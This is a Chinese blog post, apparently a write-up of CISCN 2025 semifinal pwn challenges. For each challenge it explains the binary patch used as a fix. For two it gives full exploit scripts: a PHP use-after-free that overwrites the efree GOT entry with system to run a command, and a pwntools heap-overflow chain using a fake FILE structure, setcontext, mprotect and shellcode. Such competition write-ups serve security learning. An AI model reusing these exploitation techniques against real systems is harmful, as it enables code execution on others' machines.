pwn· 更新于 2025-03-17

ciscn-2025-半决赛

CISCN 2025 半决赛 PWN AWDP

php-master

fix

导入 docker,找到 php.ini

image-20250317175335852

很明显是个 php-pwn,找到这个 vuln.so find / -name "vuln.so"

这是一个很简单的 UAF,选择将image-20250317175525895

*((_BYTE *)mp + 12) == 1 patch 为 *((_BYTE *)mp + 12) == 2

让他 free 不了

break(赛后)

<?php
function str2Hex($str)
{
    $hex = "";
    for ($i = strlen($str) - 1; $i >= 0; $i--) $hex .= dechex(ord($str[$i]));
    $hex = strtoupper($hex);
    return $hex;
}

function int2Str($i, $x = 8)
{
    $re = "";
    for ($j = 0; $j < $x; $j++) {
        $re .= pack('C', $i & 0xff);
        $i >>= 8;
    }
    return $re;
}
function hex64(int $value): string
{
    static $hex64_table = [
        0 => "0",
        1 => "1",
        2 => "2",
        3 => "3",
        4 => "4",
        5 => "5",
        6 => "6",
        7 => "7",
        8 => "8",
        9 => "9",
        10 => "a",
        11 => "b",
        12 => "c",
        13 => "d",
        14 => "e",
        15 => "f"
    ];
    $result = "";
    for ($i = 0; $i < 16; $i++) {
        $remainder = $value % 0x10;
        $value =  (int)($value / 0x10);
        $result = $hex64_table[$remainder] . $result;
    }
    return "0x" . $result;
}
function leakaddr($buffer)
{
    global $libc, $mbase;
    $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2.28.so/';
    $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20210902\/vuln.so/';
    // echo $buffer.'<br>';
    preg_match_all($p, $buffer, $libc);
    preg_match_all($p1, $buffer, $mbase);
    return "";
}

$libc = "";
$mbase = "";

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
// echo $buffer;
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);
echo hex64($libc_base) . '\n';
echo hex64($mod_base) . '\n';

$efree_addr = $mod_base + 0x4060;

construct(10);
allocate(0, 0x90);
clear();
overwrite(0, int2Str($efree_addr));
construct(8);
allocate(0, 0x90);
allocate(1, 0x90);
overwrite(0, "/readflag > /var/www/html/flag.txt");
overwrite(1, int2Str($libc_base + 0x44af0));
clear();

UAF 任意地址分配,改 efree got 表为 system

Prompt

fix

一个简单的 protobuf,堆溢出

推销一下 protobuf 自动提取

https://bbs.kanxue.com/thread-285969.htm

image-20250317175749372

没有对 size 做检查,就 memcpy,将 memcpy 长度 patch 为 0x20 即可

break

syntax = "proto3";

package HeapPayload;

message HeapPayload {
     int32 option = 1;
     int32 chunk_sizes = 2;
     int32 heap_chunks_id = 3;
     bytes heap_content = 4;
}
#!/usr/bin/env python3
from pwncli import *
import ctf_pb2

context.terminal = ["tmux", "splitw", "-h", "-l", "190"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '10.10.1.108 21784'
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process('./pwn')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')


input_after_this = b'Your prompt >>'


def add(size, content):
    proto = ctf_pb2.HeapPayload()
    proto.option = 1
    proto.chunk_sizes = size
    proto.heap_chunks_id = 0
    proto.heap_content = content
    d = proto.SerializeToString()
    sa(input_after_this, p32(len(d)))
    s(d)


def dele(idx):
    proto = ctf_pb2.HeapPayload()
    proto.option = 2
    proto.chunk_sizes = 0
    proto.heap_chunks_id = idx
    proto.heap_content = b'inkey'
    d = proto.SerializeToString()
    sa(input_after_this, p32(len(d)))
    s(d)


def edit(idx, data, len1=0):
    proto = ctf_pb2.HeapPayload()
    proto.option = 3
    proto.chunk_sizes = 0x400
    proto.heap_chunks_id = idx
    proto.heap_content = data
    d = proto.SerializeToString()
    if len1 == 0:
        sa(input_after_this, p32(len(d)))
        s(d)
    else:
        sa(input_after_this, p32(len1))
        s(d.ljust(len1, b'\x00'))


def show(idx):
    proto = ctf_pb2.HeapPayload()
    proto.option = 4
    proto.chunk_sizes = 0
    proto.heap_chunks_id = idx
    proto.heap_content = b'inkey'
    d = proto.SerializeToString()
    sa(input_after_this, p32(len(d)))
    s(d)


def exit_():
    proto = ctf_pb2.HeapPayload()
    proto.option = 5
    proto.chunk_sizes = 0
    proto.heap_chunks_id = 0
    proto.heap_content = b'1'
    d = proto.SerializeToString()
    sa(input_after_this, p32(len(d)))
    s(d)


cmd = '''
    brva 0x186F
    brva 0x19E7
    brva 0x1B62
    brva 0x1C3F

    # brva 0x1D68
    # b _IO_wfile_underflow
    # b __libio_codecvt_in
    b setcontext
    set $heap = $rebase(0x5060)
    dir /mnt/f/Documents/CTF/glibc/glibc-2.39

    c
'''

add(0x10, b'1111')
add(0x138, b'2222')
add(0x138, b'3333')
dele(2)
edit(1, b'a' * 0x140)
show(1)
ru(b'a' * 0x140)
heap_base = (u64_ex(r(5)) << 12) - 0x7000
log_heap_base_addr(heap_base)

add(0x138, b'b')  # 2
add(0x258, b'b')
add(0x458, b'b')
add(0x458, b'b')
add(0x258, b'b')
dele(5)
edit(6, b'a' * 0x330)
show(6)
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x203D30
set_current_libc_base_and_log(libc_base)

add(0x258, b'b')
add(0x258, b'b')  # 7
add(0x258, b'b')  # 8

dele(5)
dele(8)
edit(7, b'b' * 0x240 + p64(libc.sym.mprotect) * 4 + p64(protect_ptr(heap_base + 0x5770, libc.sym._IO_list_all - 0x0)))

CG.set_find_area(False, True)
rbx = CG.pop_rbx_ret()
mov_rdx_rbx = libc_base + 0xB0133  #: mov rdx, rbx; pop rbx; pop r12; pop rbp; ret;

payload0 = flat([rbx, 7, mov_rdx_rbx, 0, 0, 0, libc.sym.mprotect, heap_base + 0x58A8]) + ShellcodeMall.amd64.cat_flag

fake_IO_FILE = heap_base + 0x5770
payload1 = flat(
    {
        0x0: u64_ex("  sh"),
        0x28: libc.sym.setcontext,  # function
        0x68: heap_base,
        0x70: 0x10000,
        0x88: heap_base,
        0xA0: fake_IO_FILE + 0xD0 - 0xE0,  # _wide_data->_wide_vtable
        0xA8: libc_base + 0x4D68C,
        0xD0: fake_IO_FILE + 0x28 - 0x68,  # _wide_data->_wide_vtable->doallocate
        0xD8: libc.sym._IO_wfile_jumps,  # vtable _IO_wfile_jumps-0x48
        0xE0: heap_base + 0x1000,
        0xF8: payload0,
    },
    filler=b'\x00',
)

add(0x258, payload1)

revio = b'\x00' * 0xE0 + flat(
    {
        0x0: 0xFBAD2087,
        8: p64(libc_base + 0x204643) * 7,
        64: libc_base + 0x204644,
        112: 1,
        120: -1,
        136: libc_base + 0x205710,
        144: -1,
        160: libc_base + 0x2037E0,
        192: p32_ex(-1) + p32(0),
        216: libc.sym._IO_file_jumps,
    },
    filler=b'\x00',
)

add(0x258, p64(fake_IO_FILE) * 4 + revio)
launch_gdb(cmd)
exit_()

ia()

打的是 house of apple2,rip 控制为 setcontext,然后 mprotect,orw

typo

fix

snprintf 的参数顺序错了

image-20250317180347961

应为snprintf(s, maxlen, format);,题目将 maxlen 放在后面,因此我们输入的是 format,存在格串和堆溢出

将参数位置调整回来即可

post_quantum

fix

好长的题目,不读不读(

sub_1B90()中两个 free 全 nop 掉就过了,不懂原理(((🫠

附一张排名

image-20250317180632006

评论